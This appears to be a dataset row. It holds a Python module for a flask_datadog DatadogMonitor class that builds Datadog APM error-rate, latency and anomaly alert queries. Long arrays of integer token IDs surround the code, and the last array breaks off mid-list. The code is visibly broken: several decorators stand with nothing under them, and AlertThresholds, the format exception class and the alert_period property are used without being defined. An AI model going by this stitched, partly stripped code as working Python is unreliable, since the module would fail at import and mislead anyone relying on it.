36044, 57, 30602, 21950, 355, 23575, 57, 30602, 21950, 1303, 5016, 1262, 257, 17593, 286, 12163, 284, 3853, 7021, 286, 19166, 287, 262, 6246, 198, 6738, 4808, 21055, 6433, 13, 11122, 1304, 20180, 1330, 3454, 1304, 20180, 1303, 5016, 10200, 257, 28982, 319, 262, 10444, 198, 6738, 569, 24187, 8054, 13, 24802, 36, 48, 21950, 1330, 17762, 36, 48, 21950, 1303, 5016, 10200, 257, 2610, 338, 36529, 11, 340, 48262, 284, 262, 938, 36529, 3335, 287, 262, 2610, 198, 6738, 569, 24187, 8054, 13, 24802, 22417, 21950, 1330, 17762, 22417, 21950, 1303, 5016, 10200, 257, 2610, 338, 8106, 11, 48262, 284, 262, 938, 8106, 287, 262, 2610, 198, 6738, 4808, 21055, 6433, 13, 8291, 634, 21950, 1330, 19940, 21950, 1303, 5016, 32652, 8306, 477, 5499, 287, 7547, 338, 4839, 2665, 198, 6738, 4808, 21055, 6433, 13, 44, 19, 43, 39317, 21950, 1330, 337, 19, 43, 39317, 21950, 198, 198, 37811, 15022, 3696, 11, 23170, 1460, 11, 290, 3696, 422, 584, 14750, 37811, 198, 6738, 4808, 9069, 78, 62, 21055, 6433, 13, 9069, 78, 21864, 20180, 1330, 34879, 21864, 20180, 198, 6738, 4808, 9069, 78, 62, 21055, 6433, 13, 9069, 78, 27195, 12342, 20180, 1330, 34879, 27195, 12342, 20180, 198, 6738, 4808, 9069, 78, 62, 21055, 6433, 13, 9069, 78, 37385, 20180, 1330, 34879, 37385, 20180, 198, 6738, 4808, 9069, 78, 62, 21055, 6433, 13, 27509, 1330, 1635, 198, 6738, 9347, 1330, 1635, 628, 198, 37811, 3423, 356, 8160, 617, 3298, 9633, 37227, 198, 31943, 26152, 5067, 796, 357, 16102, 11, 3571, 11, 5534, 11, 10111, 11, 7816, 11, 1315, 11, 5534, 11, 30179, 8, 198, 31943, 26152, 5067, 81, 22296, 796, 357, 16102, 11, 3571, 11, 5534, 11, 10111, 11, 8753, 11, 1315, 11, 5534, 11, 30179, 8, 198, 562, 570, 4033, 669, 796, 357, 16102, 11, 3571, 11, 5534, 11, 10111, 11, 8753, 11, 4974, 11, 3571, 11, 8753, 11, 7643, 11, 9130, 11, 8870, 11, 5534, 11, 7816, 11, 8702, 11, 30179, 8, 198, 562, 570, 62, 12286, 62, 4033, 669, 796, 357, 16102, 11, 3571, 11, 5534, 11, 10111, 11, 8753, 11, 4974, 11, 3571, 11, 8753, 11, 9130, 11, 8870, 11, 5534, 11, 8702, 11, 7643, 11, 7816, 11, 30179, 8, 198, 9122, 62, 19849, 796, 357, 16102, 11, 19710, 11, 18112, 11, 718, 11, 352, 11, 30179, 8, 198, 198, 37811, 3423, 356, 751, 281, 20957, 284, 262, 15561, 263, 21950, 284, 2291, 1441, 9619, 287, 674, 33938, 37227, 628, 197, 628, 197, 628, 198, 198, 2, 197, 64 ]
4.218117
839
from dataclasses import dataclass from typing import Optional from flask_datadog.generator import endpoint_util from flask_datadog.shared.datadog_constants import \ MonitorType, \ MonitorSpec @dataclass(frozen=True) @dataclass(frozen=True) class DatadogMonitor: """Represents a DataDog Monitor""" # endpoint_path example: /base_test endpoint_path: str # method example: GET method: str monitor_type: MonitorType # mon_spec: dictionary of monitor specifications mon_spec: dict DEFAULT_ALERT_PERIOD: str = '5m' # For anomaly monitors: mapping of rollup intervals for aggregation to the # avg() time period for the anomaly query ROLLUP_TO_AVG_TIME_MAP = { 7600: '2w', 3600: '1w', 1800: '1w', 600: '2d', 300: '1d', 120: '12h', 60: '4h', 20: '1h', } @property @property def name(self) -> str: """Return name of DataDog monitor name TODO: make this function customizable by end user. """ cleaned_endpoint_path: str = endpoint_util.clean_endpoint_for_naming( self.endpoint_path, ) # Use MonitorType.value because we can keep the enum value the same # while we we maintain flexibility to refactor the enum name in the code return f'{self.method.upper()}-{cleaned_endpoint_path}_{self.monitor_type.value}' @property def resource_name(self) -> str: """Datadog format resource name. Used for `tags` field in terraform spec for a monitor. """ return f'{self.method}_{self.endpoint_path.lower()}'.lower() @property def terraform_monitor_type(self) -> str: """Map the DataDog Monitor to the proper monitor type for Terraform specs. Different monitor types: https://docs.datadoghq.com/api/latest/monitors/#create-a-monitor """ if self.monitor_type in [ MonitorType.APM_ERROR_RATE_THRESHOLD, MonitorType.APM_LATENCY_THRESHOLD, MonitorType.APM_ERROR_RATE_ANOMALY, ]: return 'query alert' raise DatadogMonitorFormatException( f'MonitorType [{self.monitor_type}] has no matching terraform monitor type string') def get_alert_escalation_msg(self) -> str: """Return escalation message TODO: not sure where escalation msg is applicable """ return 'Alert escalated' def get_alert_msg(self) -> str: """Return alert msg for monitor """ if self.mon_spec.get(MonitorSpec.MSG, ''): return ' '.join(self.mon_spec[MonitorSpec.MSG].split()) return f"""{self.monitor_type.value} triggered.""" def get_alert_thresholds(self) -> AlertThresholds: """Alert thresholds with defaults """ critical_threshold: float = self.mon_spec.get(MonitorSpec.CRITICAL_THRESHOLD, None) critical_recovery: float = self.mon_spec.get(MonitorSpec.CRITICAL_RECOVERY_THRESHOLD, None) warning_threshold: float = self.mon_spec.get(MonitorSpec.WARNING_THRESHOLD, None) warning_recovery: float = self.mon_spec.get(MonitorSpec.WARNING_RECOVERY_THRESHOLD, None) if all(x is None for x in [ critical_recovery, critical_threshold, warning_recovery, warning_threshold] ): critical_threshold = .1 critical_recovery = .08 warning_threshold = .05 warning_recovery = .03 return AlertThresholds( critical_threshold=critical_threshold, critical_recovery=critical_recovery, warning_threshold=warning_threshold, warning_recovery=warning_recovery, ) def get_anomaly_threshold_windows(self) -> dict[str, str]: """Return anomaly monitor threshold windows. Threshold windows match the alert_window. """ if self.is_anomaly_monitor(): return { 'recovery_window': f'last_{self.alert_period}', 'trigger_window': f'last_{self.alert_period}', } return {} def get_query_str( self, env: str, service_name: str, ) -> str: """ :param env: alert env (e.g., 'staging', 'prod') :param service_name: name of service (e.g., 'authentication_service') """ at: AlertThresholds = self.get_alert_thresholds() resource_name: str = f'{self.method.lower()}_{self.endpoint_path}' # flask_req_filter is the common filter to apply to flask request traces flask_req_filter: str = f""" env:{env}, service:{service_name}, resource_name:{resource_name} """ if self.monitor_type == MonitorType.APM_ERROR_RATE_THRESHOLD: query = f""" sum(last_{self.alert_period}): ( sum:trace.flask.request.errors{{ {flask_req_filter} }}.as_count() / sum:trace.flask.request.hits{{ {flask_req_filter} }}.as_count() ) > {at.critical_threshold} """ elif self.monitor_type == MonitorType.APM_LATENCY_THRESHOLD: query = f""" avg(last_{self.alert_period}):avg:trace.flask.request{{ {flask_req_filter} }} > {at.critical_threshold} """ elif self.monitor_type == MonitorType.APM_ERROR_RATE_ANOMALY: # TODO: only basic supported for now -- other's are 'agile', # 'robust' and have more associated configs anomaly_algo = 'basic' default_deviation_dir = 'both' default_num_deviations = 2 # TODO: map rollup interval to alert_period because possible # rollup interval values are conditional on alert_period default_rollup_interval_sec = 120 deviation_dir: str = self.mon_spec.get( MonitorSpec.ANOMALY_DEVIATION_DIR, default_deviation_dir) anomaly_num_deviations = self.mon_spec.get( MonitorSpec.ANOMALY_NUM_DEVIATIONS, default_num_deviations) anomaly_rollup_interval_sec = self.mon_spec.get( MonitorSpec.ANOMALY_ROLLUP_INTERVAL_SEC, default_rollup_interval_sec) if anomaly_rollup_interval_sec not in DatadogMonitor.ROLLUP_TO_AVG_TIME_MAP: raise DatadogMonitorFormatException(f'Rollup interval ({anomaly_rollup_interval_sec}) not supported.') query = f""" avg(last_{DatadogMonitor.ROLLUP_TO_AVG_TIME_MAP[anomaly_rollup_interval_sec]}):anomalies( sum:trace.flask.request.errors{{ {flask_req_filter} }}.as_count() / sum:trace.flask.request.hits{{ {flask_req_filter} }}.as_count(), '{anomaly_algo}', {anomaly_num_deviations}, direction='{deviation_dir}', alert_window='last_{self.alert_period}', interval={anomaly_rollup_interval_sec}, count_default_zero='true' ) >= {at.critical_threshold} """ else: raise DatadogMonitorFormatException(f'Monitor type ({self.monitor_type}) not supported.') return ' '.join(query.split()) def is_anomaly_monitor(self) -> bool: """Return whether or not this is an anomaly monitor """ return self.monitor_type in MonitorType.anomaly_monitors() def is_default_monitor(self) -> bool: """A monitor is a default monitor if it has no specifications""" return len(self.mon_spec) == 0
[ 6738, 4818, 330, 28958, 1330, 4818, 330, 31172, 198, 6738, 19720, 1330, 32233, 198, 198, 6738, 42903, 62, 19608, 324, 519, 13, 8612, 1352, 1330, 36123, 62, 22602, 198, 6738, 42903, 62, 19608, 324, 519, 13, 28710, 13, 19608, 324, 519, 62, 9979, 1187, 1330, 3467, 198, 220, 220, 220, 18289, 6030, 11, 3467, 198, 220, 220, 220, 18289, 22882, 628, 198, 198, 31, 19608, 330, 31172, 7, 69, 42005, 28, 17821, 8, 628, 198, 31, 19608, 330, 31172, 7, 69, 42005, 28, 17821, 8, 198, 4871, 16092, 324, 519, 35479, 25, 198, 220, 220, 220, 37227, 6207, 6629, 257, 6060, 32942, 18289, 37811, 628, 220, 220, 220, 1303, 36123, 62, 6978, 1672, 25, 1220, 8692, 62, 9288, 198, 220, 220, 220, 36123, 62, 6978, 25, 965, 198, 220, 220, 220, 1303, 2446, 1672, 25, 17151, 198, 220, 220, 220, 2446, 25, 965, 198, 220, 220, 220, 5671, 62, 4906, 25, 18289, 6030, 198, 220, 220, 220, 1303, 937, 62, 16684, 25, 22155, 286, 5671, 20640, 198, 220, 220, 220, 937, 62, 16684, 25, 8633, 628, 220, 220, 220, 5550, 38865, 62, 1847, 17395, 62, 18973, 40, 3727, 25, 965, 796, 705, 20, 76, 6, 198, 220, 220, 220, 1303, 1114, 32172, 19374, 25, 16855, 286, 4836, 929, 20016, 329, 46500, 284, 262, 198, 220, 220, 220, 1303, 42781, 3419, 640, 2278, 329, 262, 32172, 12405, 198, 220, 220, 220, 15107, 3069, 8577, 62, 10468, 62, 10116, 38, 62, 34694, 62, 33767, 796, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 767, 8054, 25, 705, 17, 86, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 4570, 405, 25, 705, 16, 86, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 21431, 25, 705, 16, 86, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 10053, 25, 705, 17, 67, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 5867, 25, 705, 16, 67, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 7982, 25, 705, 1065, 71, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 3126, 25, 705, 19, 71, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 1160, 25, 705, 16, 71, 3256, 198, 220, 220, 220, 1782, 628, 220, 220, 220, 2488, 26745, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 1438, 7, 944, 8, 4613, 965, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 13615, 1438, 286, 6060, 32942, 5671, 1438, 628, 220, 220, 220, 220, 220, 220, 220, 16926, 46, 25, 787, 428, 2163, 38322, 416, 886, 2836, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20750, 62, 437, 4122, 62, 6978, 25, 965, 796, 36123, 62, 22602, 13, 27773, 62, 437, 4122, 62, 1640, 62, 77, 3723, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 437, 4122, 62, 6978, 11, 198, 220, 220, 220, 220, 220, 220, 220, 1267, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 5765, 18289, 6030, 13, 8367, 780, 356, 460, 1394, 262, 33829, 1988, 262, 976, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 981, 356, 356, 5529, 13688, 284, 1006, 11218, 262, 33829, 1438, 287, 262, 2438, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 277, 6, 90, 944, 13, 24396, 13, 45828, 3419, 92, 12, 90, 2375, 22739, 62, 437, 4122, 62, 6978, 92, 23330, 944, 13, 41143, 62, 4906, 13, 8367, 92, 6, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 8271, 62, 3672, 7, 944, 8, 4613, 965, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 27354, 324, 519, 5794, 8271, 1438, 13, 628, 220, 220, 220, 220, 220, 220, 220, 16718, 329, 4600, 31499, 63, 2214, 287, 1059, 430, 687, 1020, 329, 257, 5671, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 277, 6, 90, 944, 13, 24396, 92, 23330, 944, 13, 437, 4122, 62, 6978, 13, 21037, 3419, 92, 4458, 21037, 3419, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 1059, 430, 687, 62, 41143, 62, 4906, 7, 944, 8, 4613, 965, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 13912, 262, 6060, 32942, 18289, 284, 262, 1774, 5671, 2099, 329, 24118, 687, 25274, 13, 628, 220, 220, 220, 220, 220, 220, 220, 20615, 5671, 3858, 25, 3740, 1378, 31628, 13, 19608, 4533, 456, 80, 13, 785, 14, 15042, 14, 42861, 14, 2144, 6742, 31113, 17953, 12, 64, 12, 41143, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 41143, 62, 4906, 287, 685, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 18289, 6030, 13, 2969, 44, 62, 24908, 62, 49, 6158, 62, 4221, 19535, 39, 15173, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 18289, 6030, 13, 2969, 44, 62, 43, 1404, 45155, 62, 4221, 19535, 39, 15173, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 18289, 6030, 13, 2969, 44, 62, 24908, 62, 49, 6158, 62, 1565, 2662, 1847, 56, 11, 198, 220, 220, 220, 220, 220, 220, 220, 2361, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 705, 22766, 7995, 6, 198, 220, 220, 220, 220, 220, 220, 220, 5298, 16092, 324, 519, 35479, 26227, 16922, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 277, 6, 35479, 6030, 685, 90, 944, 13, 41143, 62, 4906, 92, 60, 468, 645, 12336, 1059, 430, 687, 5671, 2099, 4731, 11537, 628, 220, 220, 220, 825, 651, 62, 44598, 62, 47647, 341, 62, 19662, 7, 944, 8, 4613, 965, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 13615, 29459, 3275, 628, 220, 220, 220, 220, 220, 220, 220, 16926, 46, 25, 407, 1654, 810, 29459, 31456, 318, 9723, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 705, 36420, 33190, 6, 628, 220, 220, 220, 825, 651, 62, 44598, 62, 19662, 7, 944, 8, 4613, 965, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 13615, 7995, 31456, 329, 5671, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 2144, 62, 16684, 13, 1136, 7, 35479, 22882, 13, 5653, 38, 11, 10148, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 705, 45302, 22179, 7, 944, 13, 2144, 62, 16684, 58, 35479, 22882, 13, 5653, 38, 4083, 35312, 28955, 628, 220, 220, 220, 220, 220, 220, 220, 1441, 277, 37811, 90, 944, 13, 41143, 62, 4906, 13, 8367, 92, 13973, 526, 15931, 628, 220, 220, 220, 825, 651, 62, 44598, 62, 400, 10126, 82, 7, 944, 8, 4613, 23276, 817, 10126, 82, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 36420, 40885, 351, 26235, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 4688, 62, 400, 10126, 25, 12178, 796, 2116, 13, 2144, 62, 16684, 13, 1136, 7, 35479, 22882, 13, 9419, 2043, 20151, 62, 4221, 19535, 39, 15173, 11, 6045, 8, 198, 220, 220, 220, 220, 220, 220, 220, 4688, 62, 260, 1073, 548, 25, 12178, 796, 2116, 13, 2144, 62, 16684, 13, 1136, 7, 35479, 22882, 13, 9419, 2043, 20151, 62, 2200, 8220, 5959, 56, 62, 4221, 19535, 39, 15173, 11, 6045, 8, 198, 220, 220, 220, 220, 220, 220, 220, 6509, 62, 400, 10126, 25, 12178, 796, 2116, 13, 2144, 62, 16684, 13, 1136, 7, 35479, 22882, 13, 31502, 62, 4221, 19535, 39, 15173, 11, 6045, 8, 198, 220, 220, 220, 220, 220, 220, 220, 6509, 62, 260, 1073, 548, 25, 12178, 796, 2116, 13, 2144, 62, 16684, 13, 1136, 7, 35479, 22882, 13, 31502, 62, 2200, 8220, 5959, 56, 62, 4221, 19535, 39, 15173, 11, 6045, 8, 628, 220, 220, 220, 220, 220, 220, 220, 611, 477, 7, 87, 318, 6045, 329, 2124, 287, 685, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4688, 62, 260, 1073, 548, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4688, 62, 400, 10126, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6509, 62, 260, 1073, 548, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6509, 62, 400, 10126, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 15179, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4688, 62, 400, 10126, 796, 764, 16, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4688, 62, 260, 1073, 548, 796, 764, 2919, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6509, 62, 400, 10126, 796, 764, 2713, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6509, 62, 260, 1073, 548, 796, 764, 3070, 628, 220, 220, 220, 220, 220, 220, 220, 1441, 23276, 817, 10126, 82, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4688, 62, 400, 10126, 28, 34666, 62, 400, 10126, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4688, 62, 260, 1073, 548, 28, 34666, 62, 260, 1073, 548, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6509, 62, 400, 10126, 28, 43917, 62, 400, 10126, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6509, 62, 260, 1073, 548, 28, 43917, 62, 260, 1073, 548, 11, 198, 220, 220, 220, 220, 220, 220, 220, 1267, 628, 220, 220, 220, 825, 651, 62, 272, 24335, 62, 400, 10126, 62, 28457, 7, 944, 8, 4613, 8633, 58, 2536, 11, 965, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 13615, 32172, 5671, 11387, 9168, 13, 628, 220, 220, 220, 220, 220, 220, 220, 536, 10126, 9168, 2872, 262, 7995, 62, 17497, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 271, 62, 272, 24335, 62, 41143, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 220, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 260, 1073, 548, 62, 17497, 10354, 277, 6, 12957, 23330, 944, 13, 44598, 62, 41007, 92, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 46284, 62, 17497, 10354, 277, 6, 12957, 23330, 944, 13, 44598, 62, 41007, 92, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1782, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 23884, 628, 220, 220, 220, 825, 651, 62, 22766, 62, 2536, 7, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 11, 198, 220, 220, 220, 220, 220, 220, 220, 17365, 25, 965, 11, 198, 220, 220, 220, 220, 220, 220, 220, 2139, 62, 3672, 25, 965, 11, 198, 220, 220, 220, 1267, 4613, 965, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 17365, 25, 7995, 17365, 357, 68, 13, 70, 1539, 705, 301, 3039, 3256, 705, 1676, 67, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 2139, 62, 3672, 25, 1438, 286, 2139, 357, 68, 13, 70, 1539, 705, 41299, 3299, 62, 15271, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 379, 25, 23276, 817, 10126, 82, 796, 2116, 13, 1136, 62, 44598, 62, 400, 10126, 82, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 8271, 62, 3672, 25, 965, 796, 277, 6, 90, 944, 13, 24396, 13, 21037, 3419, 92, 23330, 944, 13, 437, 4122, 62, 6978, 92, 6, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 42903, 62, 42180, 62, 24455, 318, 262, 2219, 8106, 284, 4174, 284, 42903, 2581, 20675, 198, 220, 220, 220, 220, 220, 220, 220, 42903, 62, 42180, 62, 24455, 25, 965, 796, 277, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 17365, 29164, 24330, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2139, 29164, 15271, 62, 3672, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 8271, 62, 3672, 29164, 31092, 62, 3672, 92, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 41143, 62, 4906, 6624, 18289, 6030, 13, 2969, 44, 62, 24908, 62, 49, 6158, 62, 4221, 19535, 39, 15173, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 12405, 796, 277, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2160, 7, 12957, 23330, 944, 13, 44598, 62, 41007, 92, 2599, 357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2160, 25, 40546, 13, 2704, 2093, 13, 25927, 13, 48277, 27007, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1391, 2704, 2093, 62, 42180, 62, 24455, 92, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1782, 27422, 292, 62, 9127, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2160, 25, 40546, 13, 2704, 2093, 13, 25927, 13, 71, 896, 27007, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1391, 2704, 2093, 62, 42180, 62, 24455, 92, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1782, 27422, 292, 62, 9127, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1267, 1875, 1391, 265, 13, 34666, 62, 400, 10126, 92, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 2116, 13, 41143, 62, 4906, 6624, 18289, 6030, 13, 2969, 44, 62, 43, 1404, 45155, 62, 4221, 19535, 39, 15173, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 12405, 796, 277, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42781, 7, 12957, 23330, 944, 13, 44598, 62, 41007, 92, 2599, 615, 70, 25, 40546, 13, 2704, 2093, 13, 25927, 27007, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1391, 2704, 2093, 62, 42180, 62, 24455, 92, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 34949, 1875, 1391, 265, 13, 34666, 62, 400, 10126, 92, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 2116, 13, 41143, 62, 4906, 6624, 18289, 6030, 13, 2969, 44, 62, 24908, 62, 49, 6158, 62, 1565, 2662, 1847, 56, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 16926, 46, 25, 691, 4096, 4855, 329, 783, 1377, 584, 338, 389, 705, 363, 576, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 220, 220, 705, 22609, 436, 6, 290, 423, 517, 3917, 4566, 82, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 32172, 62, 282, 2188, 796, 705, 35487, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 62, 7959, 3920, 62, 15908, 796, 705, 16885, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 62, 22510, 62, 7959, 40356, 796, 362, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 16926, 46, 25, 3975, 4836, 929, 16654, 284, 7995, 62, 41007, 780, 1744, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 4836, 929, 16654, 3815, 389, 26340, 319, 7995, 62, 41007, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 62, 2487, 929, 62, 3849, 2100, 62, 2363, 796, 7982, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 28833, 62, 15908, 25, 965, 796, 2116, 13, 2144, 62, 16684, 13, 1136, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 18289, 22882, 13, 1565, 2662, 1847, 56, 62, 7206, 12861, 6234, 62, 34720, 11, 4277, 62, 7959, 3920, 62, 15908, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 32172, 62, 22510, 62, 7959, 40356, 796, 2116, 13, 2144, 62, 16684, 13, 1136, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 18289, 22882, 13, 1565, 2662, 1847, 56, 62, 41359, 62, 7206, 12861, 18421, 11, 4277, 62, 22510, 62, 7959, 40356, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 32172, 62, 2487, 929, 62, 3849, 2100, 62, 2363, 796, 2116, 13, 2144, 62, 16684, 13, 1136, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 18289, 22882, 13, 1565, 2662, 1847, 56, 62, 13252, 3069, 8577, 62, 41358, 23428, 62, 23683, 11, 4277, 62, 2487, 929, 62, 3849, 2100, 62, 2363, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 32172, 62, 2487, 929, 62, 3849, 2100, 62, 2363, 407, 287, 16092, 324, 519, 35479, 13, 13252, 3069, 8577, 62, 10468, 62, 10116, 38, 62, 34694, 62, 33767, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 16092, 324, 519, 35479, 26227, 16922, 7, 69, 6, 26869, 929, 16654, 37913, 272, 24335, 62, 2487, 929, 62, 3849, 2100, 62, 2363, 30072, 407, 4855, 2637, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 12405, 796, 277, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42781, 7, 12957, 23330, 27354, 324, 519, 35479, 13, 13252, 3069, 8577, 62, 10468, 62, 10116, 38, 62, 34694, 62, 33767, 58, 272, 24335, 62, 2487, 929, 62, 3849, 2100, 62, 2363, 48999, 2599, 272, 18048, 444, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2160, 25, 40546, 13, 2704, 2093, 13, 25927, 13, 48277, 27007, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1391, 2704, 2093, 62, 42180, 62, 24455, 92, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1782, 27422, 292, 62, 9127, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2160, 25, 40546, 13, 2704, 2093, 13, 25927, 